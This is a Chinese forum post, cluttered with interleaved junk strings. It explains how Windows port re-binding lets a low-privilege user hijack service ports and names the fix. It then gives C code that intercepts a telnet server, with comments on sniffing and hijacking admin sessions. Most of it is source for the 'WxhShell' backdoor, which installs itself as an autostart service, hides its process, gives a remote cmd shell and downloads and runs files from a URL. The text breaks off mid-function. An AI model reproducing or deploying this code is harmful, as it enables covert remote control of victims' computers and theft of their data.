-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'o-J)+oa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A|BN>?.t WmZ,c_ saddr.sin_family = AF_INET; *5R91@xt c_syJ< saddr.sin_addr.s_addr = htonl(INADDR_ANY); y?8V'.f| Fzn#>`qG bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _)^`+{N< ;e\K8*o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IYB;X }r:8w*47 这意味着什么?意味着可以进行如下的攻击: ~D!Y]
SK 8iN@n8O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,pVq/1 +fG~m:E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DWu~%U8 "nC=.5/$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /{nZI_v# *ZF:LOnU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 s:Z1
ZAxv mp17d$R- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3H,>[&d )-S;j)(+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T%1Kh'92 H^8t/h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |p":s3K"Hy ]d,#PF #include ( ALsc@K #include d$v{oC} #include 8:}$L)[V #include
3vF-SgCV DWORD WINAPI ClientThread(LPVOID lpParam); "
{Nw K int main() S{qn^\0 {
H9rZWc"* WORD wVersionRequested; qN6GLx% DWORD ret; Oa-~}hN WSADATA wsaData; lK #~lC BOOL val; 2%t!3F: SOCKADDR_IN saddr; vmT6^G SOCKADDR_IN scaddr; 2Jn?'76` int err; f'B#h;` SOCKET s; K yp(dp> SOCKET sc; D }EH9d int caddsize; \t]aBT, HANDLE mt;
"'mr0G9X DWORD tid; _tVrLb7`s wVersionRequested = MAKEWORD( 2, 2 ); ]=m0@JTbG err = WSAStartup( wVersionRequested, &wsaData ); +ZeK,Y+Xy if ( err != 0 ) { !6{b)P printf("error!WSAStartup failed!\n"); }o9(Q8 return -1; ?=\_U } v$bR&bCT saddr.sin_family = AF_INET; u3_AZ2-; \|Ya*8V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =!PUKa3f< 5b%zpx0Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0+"P1/ saddr.sin_port = htons(23); 9NcC.}#-5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lcy>!3q3~ { `jH 0FJQ printf("error!socket failed!\n"); wfc+E9E return -1; ru1FJ{n } RaY=~g val = TRUE; s h^&3} //SO_REUSEADDR选项就是可以实现端口重绑定的 5 }F6s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >`+-Yi$(\ { 407;M%?'A printf("error!setsockopt failed!\n"); T|lyjX$Q]9 return -1; zd#/zUPI } hOF>Dj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0Kenyn4 ? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &\s>PvnquX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Kt[jV;6 8??%H7~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qGc>+!y { DSx D531[A ret=GetLastError(); ?3Dsz printf("error!bind failed!\n"); vCtag]H2@ return -1; 6d|%8.q1 } >,%7bq=T! listen(s,2); .%N*g[J while(1) ppo\cy; { oi}\;TG caddsize = sizeof(scaddr); `(?x@Y>.Ht //接受连接请求 {"w4+m~+te sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |&a[@(N:zf if(sc!=INVALID_SOCKET) ^)|1T#Tz { "M5&&\uT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Og3bV_," if(mt==NULL) (_O_zu8_ { 5T;,wQ< printf("Thread Creat Failed!\n"); cE0Kvqe` break; Ok2>%e } >QM$
NIf@ } wXxk+DV@ CloseHandle(mt); ~",,&>#[K } )t$|'c} closesocket(s); dsJHhsu6 WSACleanup(); k!6wVJ|_Y return 0; nFfwVqV } Ws(#ThA DWORD WINAPI ClientThread(LPVOID lpParam) 3Q"4-pd { S[W|=(f9 SOCKET ss = (SOCKET)lpParam; 1ssEJ;#s SOCKET sc; r)SwV!b unsigned char buf[4096]; /R44x\nhr SOCKADDR_IN saddr; L(!mm long num; ^atBf![ DWORD val; 27Ve $Q8]v DWORD ret; /IN/SZx //如果是隐藏端口应用的话,可以在此处加一些判断 sd~T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =!%+ sem saddr.sin_family = AF_INET; I7nZ9n|KU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pkw` o # saddr.sin_port = htons(23); U4@W{P02 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'F@#.Op` { ]1<O [d printf("error!socket failed!\n"); >HXmpu.O return -1; lfp'D+#p{ } .2
/$ !'E val = 100; 4aQb+t, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "?Cx4<nsM { ?=h{`Ci^ $ ret = GetLastError(); i@M^9|Gh return -1; D>Qc/+ } ?"[h P=3J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "*E%?MG { p KF>_\
ret = GetLastError(); icPg<>TQ return -1; SlZ>N$E } T=QV =21qn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =pP0dvn { s~(iB{- printf("error!socket connect failed!\n"); @gZ<!g/vza closesocket(sc); CS*wvn;. closesocket(ss); p}'uCT
ga return -1; 2 nRL;[L*. } E5<}7Pt while(1) VfiMR%i} { ?Q)z5i'g# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2$O@T] //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?][2J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @*gm\sU4 num = recv(ss,buf,4096,0);
TVP.)% if(num>0) i>C:C>~ send(sc,buf,num,0); ;ip"V 0` else if(num==0) a!>yX
ex break; I!ykm\< num = recv(sc,buf,4096,0); x`vIY-DS if(num>0) *SX'Or, send(ss,buf,num,0); kMHupROj else if(num==0) ^c{,QS{ break; '}{J;moB } I~$LIdzw closesocket(ss); ,/;mK_6 closesocket(sc); U8z$=Wo return 0 ; I%NPc4p } YolO-5 -m:i~^
u d4#Q<!r ========================================================== I9`R LSn Oop;Y^gG} 下边附上一个代码,,WXhSHELL KGclo-, H3"[zg9L:a ========================================================== n#G
I& U o[bG(qHZ #include "stdafx.h" wr=h=vXU[ ,f4mFL0~N #include <stdio.h> bg'B^E3 #include <string.h> Fs_umy# #include <windows.h> M[ (mH(j #include <winsock2.h> oOhm`7iy #include <winsvc.h> e4V4%Qw #include <urlmon.h> AT:T%a:G? d))(hk: #pragma comment (lib, "Ws2_32.lib") .3%eSbt0 #pragma comment (lib, "urlmon.lib") an 3"y6.8 @83h/Wcxd #define MAX_USER 100 // 最大客户端连接数 uw@z1'D[i" #define BUF_SOCK 200 // sock buffer n2Oi< ) #define KEY_BUFF 255 // 输入 buffer HN\Zrb >o=3RB=Fh #define REBOOT 0 // 重启 .-;K$'YG #define SHUTDOWN 1 // 关机 6}.B2f9 Ds$8$1=L=k #define DEF_PORT 5000 // 监听端口 Hut
au^l zn T85#]\@ #define REG_LEN 16 // 注册表键长度 " -4V48ci #define SVC_LEN 80 // NT服务名长度 66?!"w mAFqA // 从dll定义API ,uD F#xjl, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2roPZj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x+vNA J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qwu++9BM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^A^,/3 `~hAXnQK= // wxhshell配置信息 _dj<xPO struct WSCFG { jGzs; bE int ws_port; // 监听端口 *J!oV0#1 char ws_passstr[REG_LEN]; // 口令 \`#;J?Y|`F int ws_autoins; // 安装标记, 1=yes 0=no ,epKt(vl char ws_regname[REG_LEN]; // 注册表键名 {}?s0U$5 char ws_svcname[REG_LEN]; // 服务名 Q/6T?{\U7 char ws_svcdisp[SVC_LEN]; // 服务显示名 FDaHsiI: char ws_svcdesc[SVC_LEN]; // 服务描述信息 \^kyC1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p;:tzH\l int ws_downexe; // 下载执行标记, 1=yes 0=no <0T4MR7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" (}fbs/8\p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aC>r5b#: TR rO- }; 0K'lr;
<JHU*Z // default Wxhshell configuration V; 1r struct WSCFG wscfg={DEF_PORT, o$m64l "xuhuanlingzhe", br}.s@~ 1, 13.v5 v,l "Wxhshell", WIXzxI<) "Wxhshell", y6'Fi(2yw "WxhShell Service", l^ni"X "Wrsky Windows CmdShell Service", |EaGKC(
"Please Input Your Password: ", VuwBnQ.2k 1, j?1\E9&4-Q " http://www.wrsky.com/wxhshell.exe", {nT !|S)$ "Wxhshell.exe" %5*gsgeI }; ](NSpU|* g*ES[JJH& // 消息定义模块 .s|n}{D_i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)1O *~% char *msg_ws_prompt="\n\r? for help\n\r#>"; __c:$7B/4U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 6)P~3C' char *msg_ws_ext="\n\rExit."; n<Z;Xh~F char *msg_ws_end="\n\rQuit."; :Tw3Oo_~S char *msg_ws_boot="\n\rReboot..."; gh}FZs5P char *msg_ws_poff="\n\rShutdown..."; c6s*u%+}, char *msg_ws_down="\n\rSave to "; z.eqOPW +DM+@F char *msg_ws_err="\n\rErr!"; B_M)<Ad char *msg_ws_ok="\n\rOK!"; ?V#%^ 57p bK; -X cm char ExeFile[MAX_PATH]; &Z5$
5,[ int nUser = 0; 0G9@A8LU HANDLE handles[MAX_USER]; B4R!V!Z* int OsIsNt; 'g#Ml`cm Wt"@?#L SERVICE_STATUS serviceStatus; n.67f SERVICE_STATUS_HANDLE hServiceStatusHandle; ?)1h.K1}M o(>!T=f // 函数声明 [9a0J):w{ int Install(void); dW<. int Uninstall(void); Q<zL;AJ int DownloadFile(char *sURL, SOCKET wsh); $} l0Nh'Eu int Boot(int flag); !
2"zz/N{ void HideProc(void); b,7:=-D int GetOsVer(void); jgYUS@} int Wxhshell(SOCKET wsl); p*W4^2(d void TalkWithClient(void *cs); u.0Z)j}N int CmdShell(SOCKET sock); {g l-tRC3 int StartFromService(void); @.T' int StartWxhshell(LPSTR lpCmdLine); J$&!Y[0 :D-d`OyjG> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ka2U@fK" VOID WINAPI NTServiceHandler( DWORD fdwControl ); `?rPs8+R @fT*fv
// 数据结构和表定义 :q;vZ6Xd SERVICE_TABLE_ENTRY DispatchTable[] = Vlce^\s; { -hL8z$} {wscfg.ws_svcname, NTServiceMain}, 5|xFY/% {NULL, NULL} { LJwW*? }; 6<NaME 29u"\f a // 自我安装 $WnK int Install(void) (G}*ho { ag14omM- char svExeFile[MAX_PATH]; >
zh%CF$ HKEY key; v@`#!iu strcpy(svExeFile,ExeFile); {{f%w$r( LcE!e%3 // 如果是win9x系统,修改注册表设为自启动
q>r9ooN if(!OsIsNt) { B c*Rn3i@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A2uSH@4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XV)ej>A-V RegCloseKey(key); t3 *2Z u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hy|$7]1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %S$`cp RegCloseKey(key); R8Lp8!F' return 0; iYHD:cg)~ } HV&N(;@ } k x6%5% } `BMg\2Ud* else { w@X<</` ]XJpy-U // 如果是NT以上系统,安装为系统服务 U{h5uezD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c%Yvj if (schSCManager!=0) g$?B!!qT { s41<e" SC_HANDLE schService = CreateService wX#=l?,K ( R"!.|fH6 schSCManager, +=|Q'V wscfg.ws_svcname, nO$(\
z) wscfg.ws_svcdisp, {08UBnR SERVICE_ALL_ACCESS, iF{eGi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9/{+,RpC
SERVICE_AUTO_START, ai`fP{WlX SERVICE_ERROR_NORMAL, f<uLbJ6 svExeFile, JV/K ouL NULL, 2z:4\Y5 NULL, W4QVWn %3 NULL, =!9+f NULL, +J]3)8y+ NULL 7zVaj"N( ); 8 ]dhNA5 if (schService!=0) p<`q^D { t}qoIxy) CloseServiceHandle(schService); Io5-[d CloseServiceHandle(schSCManager); aoco'BR F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _z)G!_7.>\ strcat(svExeFile,wscfg.ws_svcname); |`U^+Nf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !?Z}b.%W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,78QLh9: RegCloseKey(key); '>`?T}a, return 0; +T
[0r } 6t*pV
[ } E%3WJ%A CloseServiceHandle(schSCManager); "\vEi
&C } 5sM-E>8G^{ } pYI`5B4 MH?|>6 return 1; SvAz9>N4 } :'f#0 ox zr\I1v]?1# // 自我卸载 l\ts!p4f$ int Uninstall(void) PX(.bP2^Lq { j S')!Wcu HKEY key; =KmjCz: 68*h#& if(!OsIsNt) { bb$1RLyRL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +su>0'a RegDeleteValue(key,wscfg.ws_regname); giyKEnP RegCloseKey(key); ul?'kuYk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y!1%Kqx1,n RegDeleteValue(key,wscfg.ws_regname); l-XiQ#-{ RegCloseKey(key); {uL<$;#i return 0; :w#Zs)N } ya5;C" } {|^9y]VFu } Um4
} ` else { tUGnD<P GW
?.b_6* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *["9;_KD if (schSCManager!=0) YnNB#x8| { UVUbxFq: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Jh-v if (schService!=0) {K09U^JU { \d&j`UVY if(DeleteService(schService)!=0) { bguhx3s CloseServiceHandle(schService); B$ +YK%I CloseServiceHandle(schSCManager); H(lq=M0~ return 0; `D>PU@s$nT } bDeHU$ CloseServiceHandle(schService); TixHEhw } gkI(B2,/ CloseServiceHandle(schSCManager); b~Y$!fc } g*N~r['dZ } NC>rZS] % rRYT8 return 1; m_W\jz??k } ;? '`XB! %q;3bfq@N // 从指定url下载文件 8%_XJyg int DownloadFile(char *sURL, SOCKET wsh) [kt!\- { 9Y&n$svB HRESULT hr; fv5'Bl char seps[]= "/"; M+gQN}BAr char *token; ;'`T char *file; [`Ol&R4k char myURL[MAX_PATH]; W% YJ.%I char myFILE[MAX_PATH]; !?DPI) 4+:Q" strcpy(myURL,sURL); );kO27dg token=strtok(myURL,seps); aG%KiJ7KEN while(token!=NULL) qy`@\)S/5 { QjWv?tm file=token; 'aBX>M token=strtok(NULL,seps); u&I?LZ-=, } TKx.`Cf
m U-QK
GetCurrentDirectory(MAX_PATH,myFILE); O/e5LA strcat(myFILE, "\\"); Gx|$A+U strcat(myFILE, file); jF<Y,(C\ send(wsh,myFILE,strlen(myFILE),0); rqxoqc Z send(wsh,"...",3,0); m>x.4aO1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \;&j;"c,W if(hr==S_OK) :2^%^3+V return 0; KqP!={>" else SuB;Nb7r` return 1; JX7_/P |qH -^b.F } Sqed* Lp5LRw // 系统电源模块 |P$tLOrG int Boot(int flag) lE78Yl] { UA!-YTh HANDLE hToken; :UoZ`O~ TOKEN_PRIVILEGES tkp; vDV`!JU
}N]|zCEj if(OsIsNt) { G!RbM.6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :@y!5[88! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y#{ L} tkp.PrivilegeCount = 1; T\:Vu{| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rZLTai}`>
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wrf(' if(flag==REBOOT) { *NS:X7p!V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S;kI\; return 0; &?"(al? } \l?\%aqm else { VU J*\Sg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( MWh|kp return 0; eGHxiC } ^ b{0|: } J(ZYoJ else { ]OL
O~2j if(flag==REBOOT) { 7<*sP%6bD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0UB)FK,9 return 0; m=j xTZK } z4!TK ps else { ?x7zYE,6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &W `." return 0; gXZC%S } dT4?8: } '`p#%I@ x9 bfH1 return 1; St7ZyN1 } $ jWe!]ASU 8)\TdtBf9 // win9x进程隐藏模块 *v
1hMk void HideProc(void) \XFF( { +)k%jIi! =e=sK'NvD HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]dHU if ( hKernel != NULL ) .t*MGUg { FloCR=^H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z$ZG`v>0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~2+J]8@I] FreeLibrary(hKernel); l
tE` } JWoNP/v6 bW\OKI1 return; (S$ziV } rV*9= N_(qMW // 获取操作系统版本 Au<NUc
2 int GetOsVer(void) u&z5)iU { 3B8\r}L OSVERSIONINFO winfo; s_S[iW`l= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vr@I9W;D# GetVersionEx(&winfo); \B/+.\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lqh+yX%*
return 1; [0<N[KZ) else T}d%X MXq return 0; P&@ 2DI3m } i}"Eu<
P 1O3"W;SR<: // 客户端句柄模块 8;K'77h int Wxhshell(SOCKET wsl) A.vWGBR { }c|)i,bL SOCKET wsh; 2XI%z4\)! struct sockaddr_in client; UfIH!6Q DWORD myID; qIIc>By(\" g\^7 Q while(nUser<MAX_USER) "i0{E!,XL { ,j\1UAa int nSize=sizeof(client); =$xxkc.~G wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OZ##x if(wsh==INVALID_SOCKET) return 1; ,'w9@A ncZ5r0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q{-T;T if(handles[nUser]==0) *gF8"0s closesocket(wsh); {ZQ|Ydpk else ZmU7 tK nUser++; uv,&/,;S } '*gY45yT` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n=Qz7N(M !o +[L return 0; hDBVL" } +PT/pybA 6?8x[l*5M // 关闭 socket fGGGz$;N void CloseIt(SOCKET wsh) U0>Uqk", { K;j}qJvsb closesocket(wsh); Cn+'!?!d, nUser--; 0*$? =E ExitThread(0); **p|g<wvY* } PCKgdh}, Zw6UH;5 // 客户端请求句柄 [C_Dv-d void TalkWithClient(void *cs) y/{&mo1\ { xg*)o* ? S 2vjjS SOCKET wsh=(SOCKET)cs; *O6q=yg;K: char pwd[SVC_LEN]; MoAZ!cF8 char cmd[KEY_BUFF]; 6[wAX char chr[1]; /DLgE7iU% int i,j; X'[93
C|K 3s25Rps while (nUser < MAX_USER) { h|m>JDxn \ k&(D*u if(wscfg.ws_passstr) { o +-G@16 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nr6[w|Tzd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oY Y?`<N# //ZeroMemory(pwd,KEY_BUFF); * F[;D7sZ~ i=0; 3pQ^vbQ" while(i<SVC_LEN) { y?Vsp< 1=NP=ZB // 设置超时 ;(0<5LQ fd_set FdRead; FQ6jM~ struct timeval TimeOut; XQW9/AzN f FD_ZERO(&FdRead); _}G1/`09# FD_SET(wsh,&FdRead); /D@(o`a TimeOut.tv_sec=8; N5m+r.<; TimeOut.tv_usec=0; lxSCN6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #\DKU@|h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cow]qe6K "WPFZw:9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WBOebv pwd =chr[0]; BBkYc:B=SA if(chr[0]==0xd || chr[0]==0xa) { o]gS=iLp pwd=0; +,wCV2>\3 break; [*i6?5}- } znVao %b i++; C{gY*+ } LS(J%\hMDm 6KpG,%2L# // 如果是非法用户,关闭 socket j=>:{`*c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /U1"P } w]-,X` Gh.@l\|tf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7|vB\[s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;`CNe$y
A08b=S while(1) { FEoH$.4 ;giW ZeroMemory(cmd,KEY_BUFF); e/S^Rx4W I{rW+<)QGC // 自动支持客户端 telnet标准 ^TWMYF- j=0; )cF1?2 while(j<KEY_BUFF) { 7"|j.Yq$H{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J|Af`HJ cmd[j]=chr[0]; HW,2x} [ if(chr[0]==0xa || chr[0]==0xd) { vH`m
W`= cmd[j]=0; aM2[<m} break; /C: rr_4= } FXF#v>& j++; zG%ZDH^82_ } 'OERW|BO cbHb!Lbg // 下载文件 ueimTX k if(strstr(cmd,"http://")) { yEvuTgDv send(wsh,msg_ws_down,strlen(msg_ws_down),0); DnY7$']"| if(DownloadFile(cmd,wsh)) PNn-@=% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9gS.G2 else B^{87YR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +0)zB;~7 } w
=MZi=p else { R3`Rrj Z `% a+LU2 switch(cmd[0]) { \Gzo^w Gb?O-z%8* // 帮助 $IdY(f:.:5 case '?': { wlY6h4c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >mWu+Nn: break;
n-%8RV } =2BB ~\G+ // 安装 JsA9Xdk` case 'i': { [>pqf if(Install()) HJV8P2f8` send(wsh,msg_ws_err,strlen(msg_ws_err),0); QqS?- else "-tTN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KR4vcI[4 break; G\HU%J } r]0UF0# // 卸载 [u=DAk?8 case 'r': { @C}Hx;f6 if(Uninstall()) rwRb
_eIj send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[1#d\QR else 0xNlO9b/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y
8./)W&/ break; TNvE26.( } Q302!N // 显示 wxhshell 所在路径 I{V1Le4? case 'p': { %s#`i$|z*n char svExeFile[MAX_PATH]; >Za66<: strcpy(svExeFile,"\n\r"); 8G SO] R strcat(svExeFile,ExeFile); HJ\CGYmyz send(wsh,svExeFile,strlen(svExeFile),0); Xc^7 break; j5cc"s } _`Abz2s // 重启 ^edg@fp case 'b': { H$
sNp\[{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4]\t6,Cz8 if(Boot(REBOOT)) 9hG+? send(wsh,msg_ws_err,strlen(msg_ws_err),0); YBX7WZCR else { T21SuM closesocket(wsh); 0H V-e ExitThread(0); CwV1~@{- } 4't@i1Ll( break; yL&_>cV } u D.E>.B // 关机 ;-G!jWt6Zi case 'd': { qwb`8o send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7 %P?3 if(Boot(SHUTDOWN)) ]/d4o send(wsh,msg_ws_err,strlen(msg_ws_err),0); <?TJ- else { &<u
pj b closesocket(wsh); $j~oB:3n7 ExitThread(0); _n3Jf<Y } Oc]&1>M break; I:~L!% } z"eh.&T // 获取shell ?gSk%]S/! case 's': { biFN]D CmdShell(wsh); GM/3*S$c closesocket(wsh); N ".-]bB ExitThread(0); V zx%N. break; ]Mh7;&<6[ } KAg<s}gQJ // 退出 )-3!-1 case 'x': { 1m/=MET] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u&=SZX&G k CloseIt(wsh); |\/0S break; zr0_SCh;2 } 35Jno<TP' // 离开 AJ;Y Nb case 'q': { Lp \%-s#5s send(wsh,msg_ws_end,strlen(msg_ws_end),0); k?.HW?=zy closesocket(wsh); lA4Bq WSACleanup(); NLJD}{8Ot exit(1); n7vLw7 break; u1 uu_* } Bx&.Tj } J3sO%4sYR } k3m|I*_\L p6V`b'*> // 提示信息 + R)x5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q#@gOn=W\ } O=1uF } c;w~ -7Q*| h(;qnV'c return; o8P 5C4y } hfY
Ieb#91 jl<rxO?-F // shell模块句柄 Rk
PY@> int CmdShell(SOCKET sock) s0Ii;7fA{ { &)vX7*j STARTUPINFO si; (8s]2\/Ar ZeroMemory(&si,sizeof(si)); F<?e79},` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I `44}oJ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XM/P2=; PROCESS_INFORMATION ProcessInfo; +a&-'`7g char cmdline[]="cmd"; h^P>pI~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %PG::b return 0; *@Z/L26s;= } `4cs.ab r'hr'wZ // 自身启动模式 z[Kxy1, int StartFromService(void) `hM:U { 'f`~"@ typedef struct O.=~/!( { {6<7M DWORD ExitStatus; )o[ O%b DWORD PebBaseAddress; yI9l*' DWORD AffinityMask; xZ@H{): DWORD BasePriority; b?o T|@ ULONG UniqueProcessId; q[]!V0Ek10 ULONG InheritedFromUniqueProcessId; $JTy`g0>x } PROCESS_BASIC_INFORMATION; 1h\: Lj oKTIoTb PROCNTQSIP NtQueryInformationProcess; _QtqQ~f
